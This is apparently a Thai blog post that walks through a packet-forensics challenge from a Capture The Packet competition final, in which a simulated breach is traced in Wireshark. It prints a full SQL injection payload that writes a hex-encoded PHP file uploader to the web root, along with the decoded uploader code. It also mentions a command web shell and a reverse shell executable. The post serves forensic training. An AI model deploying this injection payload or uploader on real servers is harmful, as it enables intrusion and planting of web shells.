
เมื่อวันอาทิตย์ที่ผ่านมาได้มีโอกาสไปแข่งงาน CTP - Capture The Packet รอบ Final ซึ่งเป็นครั้งแรกของประเทศไทย ในการแข่งขันนี้ทีมของเราใช้ชื่อว่า “FC @NooM2” (จริง ๆ ใส่ FC @NooM เฉย ๆ แต่บังเอิญมีทีมที่ใช้ชื่อเดียวกันสองทีม เค้าเลยเติมเลข 2 ให้ 😂)
แต่ก่อนจะไปแข่งขันรอบ Final เราต้องแข่งขันรอบ Qualify ก่อน โดยทางผู้จัดจะคัดเอาทีมที่ได้คะแนนดีที่สุด 20 ทีมแรก การแข่งขันรอบ Qualify เหมือนการแข่งขัน CTF รูปแบบ Jeopady แต่โจทย์จะเป็น pcap ทั้งหมด ซึ่งเราชอบโจทย์มาก หลากหลายดี โจทย์ไม่ยากไปกำลังทำสนุก โดยระยะเวลาการทำโจทย์ให้เวลาทำประมาณ 3 วัน
รายชื่อทีมที่เข้ารอบ Final
ใช่ครับ ไม่มีทีมเรา เราได้ที่ 21 แต่โชคดีที่มีทีมสละสิทธิ์ ทำให้เราได้บังเอิญได้เข้าไปแข่งรอบ Final นั่นเอง
ซึ่งการแข่งขันรอบ Final ก็คล้าย ๆ รอบ Qualify เลย เพียงแต่เราต้องไปแข่งกันที่ MFEC ด้วยขนาดของสถานที่จัดเองทำให้ต้องนั่งติดกันมาก ๆ เวลาคุยกันต้องระวัง คุยกันเบาหน่อยเพื่อไม่ให้ทีมอื่นได้ยิน
ส่วนรูปแบบของโจทย์ยังคงเป็น Jeopardy เหมือนเดิมแต่ที่ทำให้รอบนี้ท้าทายกว่าเดิมคือยิ่งเราส่ง Flag ข้อนั้นช้า เรายิ่งได้คะแนนน้อยลง นั่นหมายความว่าการที่จะชนะการแข่งขันนี้ได้เราต้องเป็นทีมที่ทำให้ได้เร็วที่สุดในแต่ละข้อ แต่รูปแบบการแข่งขันแบบนี้มีข้อดีตรงที่ทำให้เราไม่สามารถกั้ก Flag ได้(ยิ่งกั้กคะแนนยิ่งน้อย) ทำให้เรารู้คะแนนจริง ๆ ว่าตอนนั้นเราอยู่อันดับที่เท่าไร
ซึ่งในการแข่งขันมีโจทย์ข้อนึงที่ชอบมากคือข้อที่มีคะแนนมากที่สุด 850 คะแนนซึ่งเป็นข้อที่มีสถานการณ์จำลองที่องค์กรโดน Hack แล้วให้หาคำตอบของคำถามต่าง ๆ อย่างเช่นว่า Attacker IP ไหน ไฟล์ที่อัพโหลดมาเป็นไฟล์อะไร เราว่าน่าสนใจดีเลยตัดสินใจว่าจะมาเขียน WriteUp ของข้อนี้
ข้อ Greenland 850 point
ต้องบอกก่อนว่าผมไม่ได้อธิบายละเอียด แค่เล่าว่าตอนนั้นคิดยังไง ไม่ได้มีการทำ Timeline อะไรชัดเจน เน้นหาคำตอบในแต่ละข้อมากกว่าครับ
มีข้อย่อยทั้งหมด 7 ข้อ(เราไม่แน่ใจว่าจำถูกทั้งหมดมั้ย แต่น่าจะประมาณนี้) ทีมเราทำได้ 6 จาก 7 ข้อ
โดยโจทย์จะให้สถานการณ์จำลองมาว่า Rose ได้ส่งอีเมล์อะไรบางอย่างไปให้ Administrator เมื่อวันที่ 13/7/2012 (อันนี้ไม่แน่ใจว่าเราจำวันที่ถูกมั้ย) แต่ Rose ได้ปฎิเสธว่าไม่ได้เป็นคนทำ จึงเกิดการตรวจสอบว่าเกิดอะไรกับระบบขึ้น
พร้อมให้ไฟล์ที่เป็นข้อมูลต่าง ๆ ของระบบมาดังนี้
แล้วมีคำถามว่าให้ 7 ข้อ
- IP ของ Attacker คืออะไร
- Malicious code แรกที่ Attacker upload ชื่ออะไร
- Malicious code ที่สองที่ Attacker Upload ชื่ออะไร
- Port ที่ Attacker ใช้ในการทำ Convert Channal เพื่อติดต่อกับ Attacker
- ชื่อ Snort log แจ้งเตือนการโจมตี Convert Channal(ข้อนี้ทำไม่ได้)
- Accout ที่ hacker สร้างขึ้นมา
- Port ที่ Hacker ใช้เป็นช่องทางหลักในการเชื่อมต่อกับ Management server
จากรูปด้านบนจะเห็นว่ามีไฟล์ Topology มาให้ด้วย
ทำให้เห็นว่าระบบที่เราต้องมาตรวจสอบมีทั้งหมด 3 ส่วนคือ Internet, Client และ DMZ โดยมี Firewall คั่นในแต่ละโซน
ข้อ 1 IP ของ Attacker คืออะไร
ตอนแรกที่เริ่มทำโจทย์ข้อนี้เราเริ่มจากการเปิดไฟล์ “Traffic Captured.pcap” ก่อน จากรูปด้านบนเราคิดว่าโซนที่ Hacker น่าจะโจมตีเข้ามาน่าจะเป็น DMZ โดยในโซนนี้มี Service อยู่ 3 อย่างคือ Domain, Mail, Web server ตอนที่ทำเราเริ่มทำที่ Web server Service เลย Filter http เพื่อดู Packet ที่มีการส่ง
แล้วจะเห็นว่าเหมือนมี Query ที่ทำ SQL Injection มาจาก IP 73.74.203.9 นั่นหมายความว่าถ้าเราเข้าใจไม่ผิดแสดงว่า IP นี้น่าจะเป็น IP Attacker จึงลองเอาไปตอบดู ปรากฎว่าถูก! ก็ได้ไปแล้วข้อ(1)
ข้อ 2 Malicious code แรกที่ Attacker upload ชื่ออะไร
เมื่อตอนนี้เรารู้ IP ของ Attacker แล้ว เราอยากดู Packet ที่ส่งระหว่างเครื่อง Attacker และ Web Server บน Protocol HTTP เราจึงเขียน Query ได้ดังนี้
http && ip.addr == 73.74.203.9 && ip.addr == 192.168.100.4
จากนั้นเราลองไปดูว่าจาก SQL Injection เนี่ย Attacker ทำอะไรไปบ้าง จนเราไปเจอ Query ที่น่าสนใจอันนึง
ลองเอาไป URL Decode ออกมาดูเพื่อให้มันอ่านง่ายขึ้น จะเห็นว่าเหมือนทำการเขียนค่าอะไรบางอย่างลงไปในไฟล์ “tmpudiqc.php” ซึ่งไฟล์นี้เหมือนจะเป็นคำตอบของคำถามข้อ 2 (Malicious code แรกที่ Attacker upload ชื่ออะไร) เราจึงลองเอาไปตอบดูซึ่งก็ถูก!
id=31 LIMIT 1 INTO OUTFILE 'c:/AppServ/www/tmpudiqc.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d2929207b0a20202020246469723d245f524551554553545b2275706c6f6164446972225d3b0a0a202020206966202870687076657273696f6e2829203c2027342e312e3027290a202020207b0a20202020202020202466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b0a2020202020202020406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c2024646972202e20222f22202e202466696c6529206f722064696528293b0a202020207d0a20202020656c73650a202020207b0a20202020202020202466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b0a2020202020202020406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c2024646972202e20222f22202e202466696c6529206f722064696528293b0a202020207d0a202020204063686d6f642824646972202e20222f22202e202466696c652c2030373535293b0a202020206563686f202246696c652075706c6f61646564223b0a7d0a656c7365207b0a202020206563686f20223c666f726d20616374696f6e3d22202e20245f5345525645525b225048505f53454c46225d202e2022206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d633a5c5c417070536572765c5c7777773e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b0a7d0a3f3e0a --
แต่ ๆๆๆ เพื่อความแน่ใจเราลองเอา Hex ด้านล่างไปแปลงเป็น ASCII ดูว่า Attacker เขียน Code อะไรไปในไฟล์ “tmpudiqc.php”
<?php
if (isset($_REQUEST["upload"])) {
$dir=$_REQUEST["uploadDir"];
if (phpversion() < '4.1.0')
{
$file=$HTTP_POST_FILES["file"]["name"];
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die();
}
else
{
$file=$_FILES["file"]["name"];
@move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die();
}
@chmod($dir . "/" . $file, 0755);
echo "File uploaded";
}
else {
echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=c:\\AppServ\\www> <input type=submit name=upload value=upload></form>";
}
?>
จาก Code ด้านบนถ้าเราลองอ่านเร็ว ๆ จะเห็นว่าเป็น Code ที่ใช้ Upload ไฟล์ต่อไป ซึ่งพอเป็นแบบเนี้ย เราค่อนข้างแน่ใจแล้วว่าเราอาจจะได้คำตอบของคำถามที่ 3 ด้วย (Malicious code ที่สองที่ Attacker Upload ชื่ออะไร)
ข้อที่ 3 Malicious code ที่สองที่ Attacker Upload ชื่ออะไร
เราจึงลองไล่ดูจาก Packet ที่เรา Filter ต่อไป ซึ่งถ้าลองลองไล่ดูจะเห็นว่ามีการ Upload ไฟล์หลาย ๆ ไฟล์
แต่จะเห็นว่ามีการใช้ไฟล์ที่เริ่ม Upload จริง ๆ คือ test.php ซึ่ง Content ด้านในคือ php shell ที่รับ GET Parameter มา Execute คำสั่งเช่นอันแรกคือ dir คือลิสท์ไฟล์ในโฟลเดอร์ ต่อมามีการรัน reverse.exe (หลายรอบด้วย สงสันลืมเปิด nc รับ Connection 😁) ซึ่งถูก Upload มาก่อนหน้า ซึ่งเราลองเอาชื่อไฟล์นี้ไปตอบดู…. ไม่ได้แฮะ ตอนนั้นพี่ Staff เดินมาดูพอดี เลยบอกพี่เค้าเผื่อ Flag ผิด พี่เค้าเลยบอกให้ลองส่งใหม่ดู… ได้เฉย สรุป Flag ที่ใส่ใน Dashboard ผิด -___- เราเลยได้คำตอบขอข้อ 3 (Malicious code ที่สองที่ Attacker Upload ชื่ออะไร) คำตอบคือ reverse.exe
ข้อที่ 4 Port ที่ Attacker ใช้ในการทำ Convert Channal เพื่อติดต่อกับ Attacker
ต่อมาเรามาดูข้อ 4 โจทย์ถามหาว่า “Port ที่ Attacker ใช้ในการทำ Convert Channal เพื่อติดต่อกับ Attacker” สิ่งที่เราทำคือเรา Filter โดยใช้ Filter ดังนี้
ip.addr ==73.74.203.9 && ip.addr == 192.168.100.4
จากนั้นไปที่ Statistics > Conversations จากนั้นติ้กถูกที่ “Limit to dusplay filter” ด้านล่าง จะเห็นว่าเหมือนมีการติดต่อจากเครื่อง Web Server (192.168.100.4) ไปยัง Attacker (73.74.203.9) ที่ port 443 เราจึงลองไป Filter ดู Packet เหล่านั้น
ip.addr==192.168.100.4 && tcp.port==1416 && ip.addr==73.74.203.9 && tcp.port==443
เราจึงลองไปกด Follow Stream Packet ที่เรา Filter มาดู
คือปกติ port 443 เนี่ยจะเห็น port ของ HTTPS ซึ่งถูกเข้ารหัสไว้มันไม่ควรที่จะอ่านออกแสดงว่า port นี้อาจจะเป็น port ที่ Hacker ใช้ในการทำ Convert Channal เราจึงลองไปดูว่า port ไหนจะเห็นว่าเป็น Port 1416 เลยลองเอาไปตอบดู… ปรากฎว่าถูก เราเลยได้มาอีกข้อนึง ส่วนข้อ 5 หาไม่เจอ ไม่แน่ใจว่าเค้าลืมใส่ snort log มาให้ หรือให้เราเอา Firewall log ไปใส่ใน Snort แล้วดูผลเอง ฉนั้นข้อนี้ขอข้ามครับขี้เกียจ
ข้อ 6 Accout ที่ hacker สร้างขึ้นมา
เรามาดูข้อ 6 ดีกว่าข้อนี้เทพออฟเป็นคนทำครับไปถามมา พี่เค้าบอกว่าในเมื่อเราโดน Compromise เมื่อวันที่ 13/07/2012 แล้วเหมือน Hacker เข้าไปเปลี่ยน Password ของ Rose ก่อนแล้วค่อยสร้าง Account (อันนี้ไม่แน่ใจนะครับผมอาจจะจำผิด ลองไปคุ้ย Log ดู) เราก็ไปดู log ของ Domain Server โดยดู Doamin-Security-Log.csv แล้วหา Account แปลก ๆ ซึ่งเราเจออยู่ Account นึง
Account นั้นคือ Kurapiko ซึ่งเราไม่เห็นใน Topology เลยลองเอาไปตอบดู… ถูกครับ เราได้คำตอบของข้อ 6 (Accout ที่ hacker สร้างขึ้นมา)
ข้อ 7 Port ที่ Hacker ใช้เป็นช่องทางหลักในการเชื่อมต่อกับ Management server
ต่อมาเรามาดูข้อ 7 ต่อกันดีกว่าโจทย์ถามว่า “Port ที่ Hacker ใช้เป็นช่องทางหลักในการเชื่อมต่อกับ Management server” ข้อนี้พี่ออฟก็ทำเหมียนกัล ผมไปถามมาทีหลัง เรากลับมาดูที่ pcap กัน จากโจทย์ที่เรารู้คือเครื่อง IP ที่เราต้องไปสำรวจต่อคือ IP ของ Domain Server (192.168.100.2) กับ IP ของ Attacker(73.74.203.9) เลยลอง Filter ดู
ไม่เจออะไรเลย ซึ่งก็น่าจะใช่ เพราะถ้าเราลองกลับไปดูที่ Topology จะเห็นว่ามี Firewall คั่นอยู่ซึ่งก็ไม่ควรให้มีการเข้าถึง Domain Server จาก IP ข้างนอกอยู่แล้ว งั้นเรามาดูความเป็นไปได้ต่อไปคือ เรารู้แล้วว่า Attacker ได้ Hack เครื่อง Web Server ได้แล้ว จึงมีความเป็นไปได้ว่า จะใช้เครื่องนี้เพื่อติดต่อกับ Domain Server จึงลอง Filter ใหม่
ip.addr == 192.168.100.2 && ip.addr == 192.168.100.4
แล้วไปที่ Statistics > Conversations แล้วติ้ก Limit to display filter เหมียนเดิมจ้า ซึ่งข้อนี้เราหา Port ผมเลยลาก port A กับ port B มาให้ติดกันจะได้ดูง่าย ๆ พร้อมกับ กด Sort ตามจำนวน Packets เพื่อหาว่ามีการส่งข้อมูลกันที่ port ไหนเยอะ ๆ
จะเห็นว่ามีการติดต่อจากเครื่อง Web Server ไปที่ Domain Server โดยใช้ Port 3389 ซึ่งเป็น Well known port ว่าเป็น Service ของ RDP และความเป็นจริงคือมันไม่ควรมีการ Remote Desktop จาก เครื่อง Web Server ด้วย ฉนั้น Port นี้น่าจะเป็นคำตอบของข้อ 7 (Port ที่ Hacker ใช้เป็นช่องทางหลักในการเชื่อมต่อกับ Management server) แล้วเอาไปตอบดูก็ถูกจริง ๆ ด้วย เย้! หลังจากทำข้อนี้เสร็จประมาณ 10 นาทีก็หมดเวลาการแข่งขันแล้วก็ประกาศผลการแข่งขัน
โดยที่หนึ่งได้เงินรางวัล 30,000 บาท เหรียญรางวัล 2 เหรียญ พร้อมป้ายไฟและสิทธิ์ในการโม้ว่าเป็น “สุดยอดด้านการวิเคราะห์ Packet” อิอิ โม้แพ้พพพพ
— call Jusmistic; (@Giiir4ffe) October 6, 2019
ขอบคุณที่อ่านจนจบนะครับ รวม ๆ เป็นการแข่งขันที่สนุกมาก ๆ งานนึง ปีหน้าอยากให้มีข้อแบบที่มาเขียน Writeup เยอะ ๆ
ถ้าอ่านแล้วเห็นว่าผมเขียนหรือคิดผิดตรงไหนบอกผมได้เลยนะครับ เพราะที่เขียนนี่ก็ไม่ได้แน่ใจว่าจะถูก 100% นะครับ 🤣
สงสัยตรงไหนทักไปถาม @NooM ได้เลยครับ